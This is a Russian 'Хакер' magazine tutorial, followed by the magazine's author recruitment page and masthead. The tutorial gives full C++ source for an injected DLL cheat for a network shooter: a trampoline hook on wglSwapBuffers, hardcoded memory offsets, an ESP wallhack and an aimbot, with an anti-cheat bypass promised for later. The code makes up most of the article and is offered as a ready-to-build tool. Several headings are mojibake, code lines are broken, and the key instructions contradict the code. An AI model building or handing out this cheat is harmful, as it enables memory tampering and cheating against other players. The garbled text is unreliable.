Наша библиотека будет состоять из следующих модулей:
• главный модуль — dllmain.cpp;
• модуль смещений в игре и игровых структур — structures.h;
• модуль хуков — hook.cpp и hook.h;
• модуль рисования — gl_draw.cpp и gl_draw.h.

Ãëàâíûé ìîäóëü
При загрузке нашей библиотеки через функцию LoadLibraryA создается
поток, в котором будет работать основная логика нашего чита. А именно:
• получение указателей на нужные нам поля;
• установка хука на функцию отрисовки сцен;
• цикл, в котором реализовано включение и отключение хаков, завершение
работы чита;
• функция, рисующая меню;
• хаки ESP и aimbot.

Приступим к реализации!

include <iostream>
#include <string>
#include <tchar.h>
#include <thread>
#include <mutex>

#define _USE_MATH_DEFINES
#include <math.h>

#include "hook.h"
#include "structures.h"
#include "gl_draw.h"

// Переменная игрока
Player* player;

// Переменная синхронизации
std::mutex hook_mutex;

// Typedef для функции wglSwapBuffers


typedef BOOL(__stdcall* twglSwapBuffers) (HDC hDc);

Tramp_Hook* esp_hook;

Player** player_list = nullptr;


int* player_list_size = nullptr;

static int list_size = 0;

static Vector3 screen_position;


static Vector3 world_position;
static Vector3 player_position;
static float* view_matrix;

bool aimbot_enabled = false;

// Меню
void draw_menu(bool flag_esp) {

std::string esp = "ESP is ";


std::string aimbot = "Aimbot is ";

if (flag_esp) {
esp += "ON press F1 to OFF";
}
else {
esp += "OFF press F1 to ON";
}

if (aimbot_enabled) {
aimbot += "ON press F2 to OFF";
}
else {
aimbot += "OFF press F2 to ON";
}

GL::print_gl(50, 1200, rgb::gray, esp.c_str());


GL::print_gl(50, 1300, rgb::gray, aimbot.c_str());
GL::print_gl(50, 1400, rgb::gray, "Exit cheat press F3");
}

// Наша функция, которую вызывает установленный хук


BOOL _stdcall hooked_wglSwapBuffers(HDC hDc) {
hook_mutex.lock();

draw_menu(esp_hook->is_enabled());

if (esp_hook->is_enabled()) {
// Настроить орфографический режим
GL::setup_orthographic();

if (*player_list_size == list_size) {
for (int i = 0; i < list_size; ++i) {

// Проверить, действителен ли адрес игрока


if (!player_list[i]) {
continue;
}

if (player_list[i]->hp > 0 && player_list[i]->hp <


200) {

// Сохранить позицию других игроков в Vector3


world_position.x = player_list[i]->x_y_z_player.x
;
world_position.y = player_list[i]->x_y_z_player.y
;
world_position.z = player_list[i]->x_y_z_player.z
;

// Сохранить позицию головы других игроков в


Vector3
player_position.x = player->x_y_z_head.x;
player_position.y = player->x_y_z_head.y;
player_position.z = player->x_y_z_head.z;

// Рассчитать расстояние до другого игрока


float distance = sqrtf((player_position.x -
world_position.x) * (player_position.x - world_position.x) + (
player_position.y - world_position.y) * (player_position.y -
world_position.y) + (player_position.z - world_position.z) * (
player_position.z - world_position.z));

// Проверить, находится ли игрок в зоне обзора


if (distance > 5.0f && GL::world_to_screen(
world_position, screen_position, view_matrix)) {
// Проверить, находится ли другой игрок в
той же команде, что и мы
if (player_list[i]->team != player->team) {
// Команда врага
GL::draw_esp_box(screen_position.x,
screen_position.y, distance, rgb::red, player_list[i]->name,
player_list[i]->hp, player_list[i]->armor);
}
else {
// Наша команда
GL::draw_esp_box(screen_position.x,
screen_position.y, distance, rgb::green, player_list[i]->name,
player_list[i]->hp, player_list[i]->armor);
}
}
}
}
}
else {
list_size = *player_list_size;
}
GL::restore_gl(); // Восстановить исходный режим
}

if (aimbot_enabled && GetAsyncKeyState(VK_RBUTTON)) {


if (*player_list_size == list_size) {
// Эти переменные будут использоваться для удержания
ближайшего к нам врага
float closest_player = -1.0f;
float closest_yaw = 0.0f;
float closest_pitch = 0.0f;

// Выбор ближайшего игрока в качестве цели


for (int i = 0; i < list_size; ++i) {

// Проверить, действителен ли адрес игрока, при этом


пропускаем игроков из нашей команды и проверяем показатель здоровья
if (!player_list[i] || (player_list[i]->team ==
player->team) || (player_list[i]->hp < 0)) {
continue;
}

// Расчет абсолютного положения врага вдали от нас.


Позволяет убедиться, что наши будущие расчеты верны и основаны на
исходной точке
float abspos_x = player_list[i]->x_y_z_player.x -
player->x_y_z_player.x;
float abspos_y = player_list[i]->x_y_z_player.y -
player->x_y_z_player.y;
float abspos_z = player_list[i]->x_y_z_player.z -
player->x_y_z_player.z;

// Расчет дистанции до врага


float temp_distance = sqrtf((abspos_x * abspos_x) + (
abspos_y * abspos_y));
// Если это ближайший враг, рассчитываем рыскание и
тангаж, чтобы нацелиться на него
if (closest_player == -1.0f || temp_distance <
closest_player) {
closest_player = temp_distance;

// Рассчитываем рыскание
float azimuth_xy = atan2f(abspos_y, abspos_x);
// Переводим в градусы
float yaw = (float)(azimuth_xy * (180.0 / M_PI));
// Добавляем 90, так как игра предполагает, что
прямой север равен 90 градусам
closest_yaw = yaw + 90;

// Рассчитываем тангаж
// Поскольку значения Z настолько ограничены,
выбирай большее значение между X и Y, чтобы убедиться, что мы не
смотрим прямо в небо, когда находимся рядом с врагом
if (abspos_y < 0) {
abspos_y *= -1;
}
if (abspos_y < 5) {
if (abspos_x < 0) {
abspos_x *= -1;
}
abspos_y = abspos_x;
}
float azimuth_z = atan2f(abspos_z, abspos_y);
// Преобразовываем значение в градусы
closest_pitch = (float)(azimuth_z * (180.0 / M_PI
));
}

// Когда наш цикл завершится, устанавливаем для рысканья


и тангажа самые близкие значения
player->yaw_pitch_roll.x = closest_yaw;
player->yaw_pitch_roll.y = closest_pitch;
}
else {
list_size = *player_list_size;
}
}

// Вызов перехваченной функции


BOOL ret_value = ((twglSwapBuffers)esp_hook->get_gateway())(hDc);

hook_mutex.unlock();

return ret_value;
}

DWORD WINAPI injected_thread(HMODULE hMod) {

// Получить адрес, по которому .exe был загружен внутри нашего


игрового процесса
uintptr_t moduleBase = (uintptr_t)GetModuleHandle(0);
// Где находится указатель на нашего игрока
player = *reinterpret_cast<Player**>(moduleBase + player_offset);
// Указатель на список игроков
player_list = *reinterpret_cast<Player***>(moduleBase +
entity_offset);
// Указатель на размер списка игроков
player_list_size = reinterpret_cast<int*>(moduleBase +
entity_count_offset);
// Указатель на матрицу вида
view_matrix = reinterpret_cast<float*>(moduleBase +
view_matrix_offset);

// Получить дескриптор модуля OpenGL


HMODULE open_gl = GetModuleHandleA("opengl32.dll");

if (!open_gl) {
return -1; // OpenGL не загружен
}

// Получить адрес wglSwapBuffers


void* orig_wglSwapBuffers = GetProcAddress(open_gl,
"wglSwapBuffers");

// Установка хука на wglSwapBuffers


esp_hook = new Tramp_Hook(orig_wglSwapBuffers,
hooked_wglSwapBuffers, 5);

while (!GetAsyncKeyState(VK_F3)) {
if (GetAsyncKeyState(VK_F1) & 1) { // Включить ESP
esp_hook->is_enabled() ? esp_hook->disable() : esp_hook->
enable();
}
if (GetAsyncKeyState(VK_F2) & 1) { // Включить aimbot
aimbot_enabled = !aimbot_enabled;
}
Sleep(50);
}

hook_mutex.lock();
// Удаление хука
delete esp_hook;
hook_mutex.unlock();

// Извлечение нашей библиотеки


FreeLibraryAndExitThread(hMod, 0);
return 0;
}

BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call,


LPVOID lpReserved) {
switch (ul_reason_for_call) {
case DLL_PROCESS_ATTACH:
CreateThread(0, 0, (LPTHREAD_START_ROUTINE)injected_thread,
hModule, 0, 0);
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}

Ìîäóëü ñìåùåíèé â èãðå è èãðîâûõ ñòðóêòóð


Этот модуль содержит все нужные нам поля игрока, а также смещения.

#pragma once
#include "gl_draw.h"

class Player {
public:
DWORD* vftable; // 0x00
Vector3 x_y_z_head; // 0x04
BYTE pad_0010[24]; // 0x10
Vector3 x_y_z_player; // 0x28
Vector3 yaw_pitch_roll; // 0x34
BYTE pad_0040[172]; // 0x40
DWORD hp; // 0xEC
DWORD armor; // 0xF0
BYTE pad_00F4[273]; // 0xF4
BYTE name[16]; // 0x205
BYTE pad_0215[247]; // 0x215
BYTE team; // 0x30C
};

DWORD player_offset = 0x018AC00;


DWORD entity_offset = 0x018AC04;
DWORD entity_count_offset = 0x018AC0C;
DWORD view_matrix_offset = 0x17DFD0;

Ìîäóëü õóêîâ
Это модуль, в котором будет перехватываться функция wglSwapBuffers,
отвечающая за отрисовку сцен. Это необходимо для того, чтобы рисовать
наше меню и боксы ESP.

hook.h
#pragma once
#include <windows.h>
#include <memory>

// Класс перехватчика
class Hook {
// Указатель на перехватчик
void* this_to_hook;
// Сохраненные старые опкоды
std::unique_ptr<char[]> old_opcodes;
// Длина перезаписанных инструкций
int this_len;
// Включен ли перехватчик
bool enabled;
public:
// Конструктор для перехватчика
Hook(void* to_hook, void* our_func, int len);
// Деструктор для восстановления исходного кода
~Hook();
// Включить перехватчик
void enable();
// Отключить перехватчик
void disable();
// Включен ли перехватчик
bool is_enabled();
};

// Класс для реализации инлайн-перехватчика


class Tramp_Hook {
void* gateway;
Hook* managed_hook;
public:
Tramp_Hook(void* to_hook, void* our_func, int len);
// Восстанавливает исходный код
~Tramp_Hook();
void enable();
void disable();
bool is_enabled();
void* get_gateway();
};

Продолжение статьи →
КОДИНГ ← НАЧАЛО СТАТЬИ

ЧИТ
СВОИМИ
РУКАМИ
СМОТРИМ СКВОЗЬ СТЕНЫ И ДЕЛАЕМ
АВТОПРИЦЕЛИВАНИЕ ДЛЯ 3D-ШУТЕРА

hook.cpp
#include "hook.h"

Hook::Hook(void* to_hook, void* our_func, int len) : this_to_hook{


to_hook }, old_opcodes{ nullptr }, this_len{ len }, enabled{ false }
{
// Инструкция jmp имеет размер 5 байт. Место, которое мы
перезаписываем, должно быть как минимум такого размера
if (len < 5) {
return;
}

DWORD curr_protection;
// Сделать доступной для записи память с кодом, который мы хотим
перезаписать
VirtualProtect(to_hook, len, PAGE_EXECUTE_READWRITE, &
curr_protection);

// Сохранить текущие байты в массив символов


old_opcodes = std::make_unique<char[]>(len);
if (old_opcodes != nullptr) {
for (int i = 0; i < len; ++i) {
old_opcodes[i] = ((char*)to_hook)[i];
}
}

// Перезапишем место, которое хотим перехватить, инструкциями nop


memset(to_hook, 0x90, len);

// Вычислить относительный адрес для перехода


DWORD rva_addr = ((DWORD)our_func - (DWORD)to_hook) - 5;

// Поместить опкод для инструкции jmp


*(BYTE*)to_hook = 0xE9;
// Поместить адрес для перехода
*(DWORD*)((DWORD)to_hook + 1) = rva_addr;

// Восстановить старую защиту кода


VirtualProtect(to_hook, len, curr_protection, &curr_protection);
}

Hook::~Hook() {
if (old_opcodes != nullptr) {
DWORD curr_protection;
// Сделать память доступной для записи
VirtualProtect(this_to_hook, this_len, PAGE_EXECUTE_READWRITE
, &curr_protection);
// Записать старые опкоды обратно в перехваченное место
for (int i = 0; i < this_len; ++i) {
((char*)this_to_hook)[i] = Hook::old_opcodes[i];
}
// Восстановить старую защиту памяти
VirtualProtect(this_to_hook, this_len, curr_protection, &
curr_protection);
}
}

void Hook::enable() {
this->enabled = true;
}

void Hook::disable() {
this->enabled = false;
}

bool Hook::is_enabled() {
return enabled;
}

Tramp_Hook::Tramp_Hook(void* to_hook, void* our_func, int len) :


gateway{ nullptr }, managed_hook{ nullptr } {

// jmp имеет размер 5 байт


if (len < 5) {
return;
}

// Выделяем память для нашего трамплина


gateway = VirtualAlloc(0, len + 5, MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);

// Сохранение байтов, которые мы будем перезаписывать в трамплин


memcpy_s(gateway, len, to_hook, len);

// Получить адрес возврата


uintptr_t ret_addr = (BYTE*)to_hook - (BYTE*)gateway - 5;

// Разместить опкод jmp в конец трамплина


*(BYTE*)((uintptr_t)gateway + len) = 0xE9;

// Разместить адрес возврата после jmp


*(uintptr_t*)((uintptr_t)gateway + len + 1) = ret_addr;

// Создание перехватчика
managed_hook = new Hook(to_hook, our_func, len);
}

Tramp_Hook::~Tramp_Hook() {
managed_hook->disable();
delete managed_hook;
VirtualFree(gateway, 0, MEM_RELEASE);
}

void Tramp_Hook::enable() {
managed_hook->enable();
}

void Tramp_Hook::disable() {
managed_hook->disable();
}

bool Tramp_Hook::is_enabled() {
return managed_hook->is_enabled();
}

void* Tramp_Hook::get_gateway() {
return gateway;
}

Ìîäóëü ðèñîâàíèÿ
Здесь у нас функции для непосредственной отрисовки меню и боксов ESP.

gl_draw.h
#pragma once
#pragma comment(lib, "OpenGL32.lib")
#include <windows.h>
#include<gl/GL.h>

struct Vector3 {
float x, y, z;
};

struct Vector4 {
float x, y, z, w;
};

// Пространство имен цветов для рисования


namespace rgb {
const GLubyte red[3] = { 255,0,0 };
const GLubyte green[3] = { 0,255,0 };
const GLubyte blue[3] = { 0,0,255 };
const GLubyte gray[3] = { 55,55,55 };
const GLubyte light_gray[3] = { 192,192,192 };
const GLubyte yellow[3] = { 255, 255, 0 };
const GLubyte black[3] = { 0,0,0 };
}

// Пространство имен функций для отрисовки меню и ESP-хака


namespace GL {
void setup_orthographic();
void restore_gl();
void build_font();
void draw_filled_rectangle(float x, float y, float width, float
height, const GLubyte color[3]);
void draw_out_line(float x, float y, float width, float height,
float line_width, const GLubyte color[3]);
void draw_line(float fromX, float fromY, float toX, float toY,
float line_width, const GLubyte color[3]);
void draw_esp_box(float pos_x, float pos_y, float distance, const
GLubyte color[3], const BYTE* text, const int health_percent = -1,
const int armor_percent = -1);
void print_gl(float x, float y, const GLubyte color[3], const
char* fmt, ...);
bool world_to_screen(Vector3 pos, Vector3& screen, float matrix[
16]);
}

gl_draw.cpp
#include "gl_draw.h"
#include <corecrt_math.h>
#include <stdio.h>

HDC h_DC;
HFONT h_old_font;
HFONT h_font;
UINT font_base;
bool b_font_build = 0;

void GL::setup_orthographic() {
// Cохранение атрибутов
glPushAttrib(GL_ALL_ATTRIB_BITS);
// Сохранение матрицы вида
glPushMatrix();
// Размеры экрана
GLint view_port[4];
// Получение размеров экрана
glGetIntegerv(GL_VIEWPORT, view_port);
// Установка размера экрана
glViewport(0, 0, view_port[2], view_port[3]);
glMatrixMode(GL_PROJECTION);
glLoadIdentity();

// Настройка орфографического режима


glOrtho(0, view_port[2], view_port[3], 0, -1, 1);
glMatrixMode(GL_MODELVIEW);
glLoadIdentity();
// Отключение проверки глубины
glDisable(GL_DEPTH_TEST);
}

void GL::restore_gl() {
// Восстановление матрицы вида
glPopMatrix();
// Восстановление всех атрибутов
glPopAttrib();
}

void GL::draw_filled_rectangle(float x, float y, float width, float


height, const GLubyte color[3]) {
glColor3ub(color[0], color[1], color[2]);
glBegin(GL_QUADS);
glVertex2f(x, y);
glVertex2f(x + width, y);
glVertex2f(x + width, y + height);
glVertex2f(x, y + height);
glEnd();
}

void GL::draw_out_line(float x, float y, float width, float height,


float line_width, const GLubyte color[3]) {
glLineWidth(line_width);
glBegin(GL_LINE_STRIP);
glColor3ub(color[0], color[1], color[2]);
glVertex2f(x - 0.5f, y - 0.5f);
glVertex2f(x + width + 0.5f, y - 0.5f);
glVertex2f(x + width + 0.5f, y + height + 0.5f);
glVertex2f(x - 0.5f, y + height + 0.5f);
glVertex2f(x - 0.5f, y - 0.5f);
glEnd();
}

void GL::draw_line(float fromX, float fromY, float toX, float toY,


float line_width, const GLubyte color[3]) {
glLineWidth(line_width);
glBegin(GL_LINES);
glColor3ub(color[0], color[1], color[2]);
glVertex2f(fromX, fromY);
glVertex2f(toX, toY);
glEnd();
}

void GL::build_font()
{
h_DC = wglGetCurrentDC();

font_base = glGenLists(96);
h_font = CreateFont(-12, 0, 0, 0, FW_NORMAL, FALSE, FALSE, FALSE,
ANSI_CHARSET, OUT_TT_PRECIS, CLIP_DEFAULT_PRECIS, PROOF_QUALITY,
FF_DONTCARE | DEFAULT_PITCH, L"Courier");
h_old_font = (HFONT)SelectObject(h_DC, h_font);
wglUseFontBitmaps(h_DC, 32, 96, font_base);
SelectObject(h_DC, h_old_font);
DeleteObject(h_font);

b_font_build = true;
}

void GL::print_gl(float x, float y, const GLubyte color[3], const


char* fmt, ...)
{
if (!b_font_build) {
GL::build_font();
}

if (fmt == NULL) {
return;
}

glColor3f(color[0], color[1], color[2]);

glRasterPos2i(x, y);

char text[256];
va_list ap;

va_start(ap, fmt);
vsprintf(text, fmt, ap);
va_end(ap);

glPushAttrib(GL_LIST_BIT);
glListBase(font_base - 32);
glCallLists(strlen(text), GL_UNSIGNED_BYTE, text);
glPopAttrib();
}

void GL::draw_esp_box(float pos_x, float pos_y, float distance, const


GLubyte color[3], const BYTE* text, const int health, const int armor
) {
float line_width = 0.5f; // Толщина линии
GLint view_port[4];
glGetIntegerv(GL_VIEWPORT, view_port);

float height = (view_port[3] / distance) * 3; // Высота бокса


float width = (view_port[2] / distance); // Ширина бокса

// Snap lines
GL::draw_line(view_port[2] / 2.0f, (float)view_port[3], pos_x,
pos_y, line_width + 2.0f, rgb::black);
GL::draw_line(view_port[2] / 2.0f, (float)view_port[3], pos_x,
pos_y, line_width, color);

// Очертания
GL::draw_out_line(pos_x - (width / 2), pos_y - height, width,
height, line_width + 2.0f, rgb::black);
GL::draw_out_line(pos_x - (width / 2), pos_y - height, width,
height, line_width, color);

// Здоровье
if (health != -1) {
float perc = (width / 100);
float curr = perc * health;

GL::draw_filled_rectangle(pos_x - (width / 2) - 1, ((pos_y -


(height / 10)) - 1) - height, width + 2, (height / 15) + 2, rgb::
black);
GL::draw_filled_rectangle(pos_x - (width / 2), (pos_y - (
height / 10)) - height, width, height / 15, rgb::light_gray);

GLubyte Hcolor[3]{ static_cast<GLubyte>(255 - (2.5f * health


)), static_cast<GLubyte>(health * 2.5f), 0 };
GL::draw_filled_rectangle(pos_x - (width / 2), (pos_y - (
height / 10)) - height, curr, height / 15, Hcolor);
}

// Броня
if (armor != -1) {
float perc = (width / 100);
float curr = perc * armor;

GL::draw_filled_rectangle(pos_x - (width / 2) - 1, ((pos_y -


(height / 5)) - 1) - height, width + 2, (height / 15) + 2, rgb::black
);
GL::draw_filled_rectangle(pos_x - (width / 2), (pos_y - (
height / 5)) - height, width, height / 15, rgb::light_gray);
GL::draw_filled_rectangle(pos_x - (width / 2), (pos_y - (
height / 5)) - height, curr, height / 15, rgb::blue);
}

// Имя
GL::print_gl(pos_x - (width / 2), (pos_y - (height / 4)) - height
, rgb::yellow,(char *)text);
}

bool GL::world_to_screen(Vector3 pos, Vector3& screen, float matrix[


16]) {

// Получение ширины и высоты экрана


GLint view_port[4];
glGetIntegerv(GL_VIEWPORT, view_port);
int window_width = view_port[2];
int window_height = view_port[3];

// Матрично-векторный результат, умножающий мировые (глазные)


координаты на проекционную матрицу (clip_coords)
Vector4 clip_coords;
clip_coords.x = pos.x * matrix[0] + pos.y * matrix[4] + pos.z *
matrix[8] + matrix[12];
clip_coords.y = pos.x * matrix[1] + pos.y * matrix[5] + pos.z *
matrix[9] + matrix[13];
clip_coords.z = pos.x * matrix[2] + pos.y * matrix[6] + pos.z *
matrix[10] + matrix[14];
clip_coords.w = pos.x * matrix[3] + pos.y * matrix[7] + pos.z *
matrix[11] + matrix[15];

// Если координаты не на экране


if (clip_coords.w < 0.1f) {
return false;
}

// Перспективное деление, деление на clip.W, то есть


нормализованные координаты устройства
Vector3 NDC;
NDC.x = clip_coords.x / clip_coords.w;
NDC.y = clip_coords.y / clip_coords.w;
NDC.z = clip_coords.z / clip_coords.w;

// Преобразование в координаты экрана


screen.x = (window_width / 2 * NDC.x) + (NDC.x + window_width / 2
);
screen.y = -(window_height / 2 * NDC.y) + (NDC.y + window_height
/ 2);
return true;
}

ÏÐÎÂÅÐÊÀ ÐÀÁÎÒÎÑÏÎÑÎÁÍÎÑÒÈ

Для начала запустим наш чит.

Меню чита

Для активации ESP-хака жмем F1, для деактивации — F2.

Проверка работоспособности ESP

Для активации aimbot жмем F2 и, чтобы он заработал, зажимаем правую


кнопку мыши. Для деактивации хака жмем F2.

Проверка работоспособности aimbot

ÂÛÂÎÄÛ

Мы научились искать с помощью Cheat Engine не только поля класса игрока,


но и сам класс игрока, а также список игроков, их количество и матрицу вида.
Сделали базовые хаки для любых сетевых шутеров. И приблизились к почти
полноценному читу. В конечной форме он будет еще включать в себя обход
античита, но об этом поговорим в другой раз.
СТАНЬ АВТОРОМ
«ХАКЕРА»!
«Хакеру» нужны новые авторы, и ты можешь стать одним
из них! Если тебе интересно то, о чем мы пишем, и есть
желание исследовать эти темы вместе с нами, то не упусти
возможность вступить в ряды наших авторов и получать
за это все, что им причитается.

• Àâòîðû ïîëó÷àþò äåíåæíîå âîçíàãðàæäåíèå. Размер зависит


от сложности и уникальности темы и объема проделанной работы (но
не от объема текста).
• Íàøè àâòîðû ÷èòàþò «Õàêåð» áåñïëàòíî: каждая опубликованная
статья приносит месяц подписки и значительно увеличивает личную скид-
ку. Уже после третьего раза подписка станет бесплатной навсегда.

Кроме того, íàëè÷èå ïóáëèêàöèé — ýòî îòëè÷íûé ñïîñîá ïîêàçàòü


ðàáîòîäàòåëþ è êîëëåãàì, ÷òî òû â òåìå. А еще мы планируем запуск
англоязычной версии, так что ó òåáÿ áóäåò øàíñ áûòü óçíàííûì è çà
ðóáåæîì.
И конечно, ìû âñåãäà óêàçûâàåì â ñòàòüÿõ èìÿ èëè ïñåâäîíèì
àâòîðà. На сайте ты можешь сам заполнить характеристику, поставить фото,
написать что-то о себе, добавить ссылку на сайт и профили в соцсетях. Или,
наоборот, не делать этого в целях конспирации.

ß ÒÅÕÍÀÐÜ, À ÍÅ ÆÓÐÍÀËÈÑÒ. ÏÎËÓ×ÈÒÑß ËÈ Ó ÌÅÍß ÍÀÏÈÑÀÒÜ


ÑÒÀÒÜÞ?
Главное в нашем деле — знания по теме, а не корочки журналиста. Знаешь
тему — значит, и написать сможешь. Не умеешь — поможем, будешь сом-
неваться — поддержим, накосячишь — отредактируем. Не зря у нас работает
столько редакторов! Они не только правят буквы, но и помогают с темами
и форматом и «причесывают» авторский текст, если в этом есть необ-
ходимость. И конечно, перед публикацией мы согласуем с автором все прав-
ки и вносим новые, если нужно.

ÊÀÊ ÏÐÈÄÓÌÀÒÜ ÒÅÌÓ?


Темы для статей — дело непростое, но и не такое сложное, как может
показаться. Стоит начать, и ты наверняка будешь придумывать темы одну
за другой!
Первым делом задай себе несколько простых вопросов:
• «Ðàçáèðàþñü ëè ÿ â ÷åì‑òî, ÷òî ìîæåò çàèíòåðåñîâàòü äðóãèõ?»
Частый случай: люди делают что-то потрясающее, но считают свое
занятие вполне обыденным. Если твоя мама и девушка не хотят слушать
про реверс малвари, сборку ядра Linux, проектирование микропроцес-
соров или хранение данных в ДНК, это не значит, что у тебя не найдется
благодарных читателей.
• «Áûëè ëè ó ìåíÿ â ïîñëåäíåå âðåìÿ èíòåðåñíûå ïðîåêòû?» Если
ты ресерчишь, багхантишь, решаешь crackme или задачки на CTF, если ты
разрабатываешь что-то необычное или даже просто настроил себе
какую-то удобную штуковину, обязательно расскажи нам! Мы вместе при-
думаем, как лучше подать твои наработки.
• «Çíàþ ëè ÿ êàêóþ‑òî èñòîðèþ, êîòîðàÿ êàæåòñÿ ìíå êðóòîé?»
Попробуй вспомнить: если ты буквально недавно рассказывал кому-то
о чем-то очень важном или захватывающем (и связанным с ИБ или ИТ), то
с немалой вероятностью это может быть неплохой темой для статьи.
Или как минимум натолкнет тебя на тему.
• «Íå ïîäìå÷àë ëè ÿ, ÷òî â Õàêåðå óïóñòèëè ÷òî‑òî âàæíîå?» Если
мы о чем-то не писали, это могло быть не умышленно. Возможно, просто
никому не пришла в голову эта тема или не было человека, который
взял бы ее на себя. Кстати, даже если писать сам ты не собираешься, под-
кинуть нам идею все равно можно.

Óãîâîðèëè, êàêîâ ïëàí äåéñòâèé?


1. Придумываешь актуальную тему или несколько.
2. Описываешь эту тему так, чтобы было понятно, что будет в статье и зачем
ее кому-то читать. Обычно достаточно рабочего заголовка и нескольких
предложений (pro tip: их потом можно пустить на введение).
3. Выбираешь редактора и отправляешь ему свои темы (можно главреду —
он разберется). Заодно неплохо бывает представиться и написать пару
слов о себе.
4. С редактором согласуете детали и сроки сдачи черновика. Также он выда-
ет тебе правила оформления и отвечает на все интересующие вопросы.
5. Пишешь статью в срок и отправляешь ее. Если возникают какие-то проб-
лемы, сомнения или просто задержки, ты знаешь, к кому обращаться.
6. Редактор читает статью, принимает ее или возвращает с просьбой
доработать и руководством к действию.
7. Перед публикацией получаешь версию с правками и обсуждаешь их
с редактором (или просто даешь добро).
8. Дожидаешься выхода статьи и поступления вознаграждения.

TL;DR
Если хочешь публиковаться в «Хакере», придумай тему для первой статьи
и предложи редакции.
№3 (288)
Ан­дрей Пись­мен­ный Ва­лен­тин Хол­могоров Илья Русанен
Глав­ный редак­тор Ведущий редак­тор Раз­работ­ка
pismenny@glc.ru valentin@holmogorov.ru rusanen@glc.ru
Ев­гения Шарипо­ва
Литера­тур­ный редак­тор

MEGANEWS
Ма­рия Нефёдо­ва
nefedova@glc.ru

АРТ
yambuto
yambuto@gmail.com

КОНСУЛЬТАЦИОННЫЙ СОВЕТ
Иван Андре­ев, Олег Афо­нин,
Марк Бруц­кий‑Стем‐­
пковский, Алек­сей Глаз­ков,
Nik Zerof, Юрий Язев

РЕКЛАМА
Ан­на Яков­лева
Дирек­тор по спец­про­ектам
yakovleva.a@glc.ru

РАСПРОСТРАНЕНИЕ И ПОДПИСКА
Воп­росы о под­писке: ​Воп­росы о матери­алах:
lapina@glc.ru support@glc.ru​

Ад­рес редак­ции: 125080, город Мос­ква, Волоко­лам­ское шос­се, дом 1, стро­ение 1, этаж 8, помеще­ние IX, ком­ната 54, офис 7. Изда­тель: ИП
Югай Алек­сандр Оле­гович, 400046, Вол­гоград­ская область, г. Вол­гоград, ул. Друж­бы народов, д. 54. Учре­дитель: ООО «Медиа Кар»​ ​125080,
город Мос­ква, Волоко­лам­ское шос­се, дом 1, стро­ение 1, этаж 8, помеще­ние IX, ком­ната 54, офис 7. Зарегис­три­рова­но в Федераль­ной служ­бе
по над­зору в сфе­ре свя­зи, информа­цион­ных тех­нологий и мас­совых ком­муника­ций (Рос­комнад­зоре), сви­детель­ство ​Эл № ​ФС77-​67001 от ​30.​
08.​2016 года. Мне­ние редак­ции не обя­затель­но сов­пада­ет с мне­нием авто­ров. Все матери­алы в номере пре­дос­тавля­ются как информа­ция
к раз­мышле­нию. Лица, исполь­зующие дан­ную информа­цию в про­тиво­закон­ных целях, могут быть прив­лечены к ответс­твен­ности. Редак­ция
не несет ответс­твен­ности за содер­жание рек­ламных объ­явле­ний в номере. По воп­росам лицен­зирова­ния и получе­ния прав на исполь­зование
редак­цион­ных матери­алов жур­нала обра­щай­тесь по адре­су: xakep@glc.ru. © Жур­нал «Хакер», РФ, 2022

Вам также может понравиться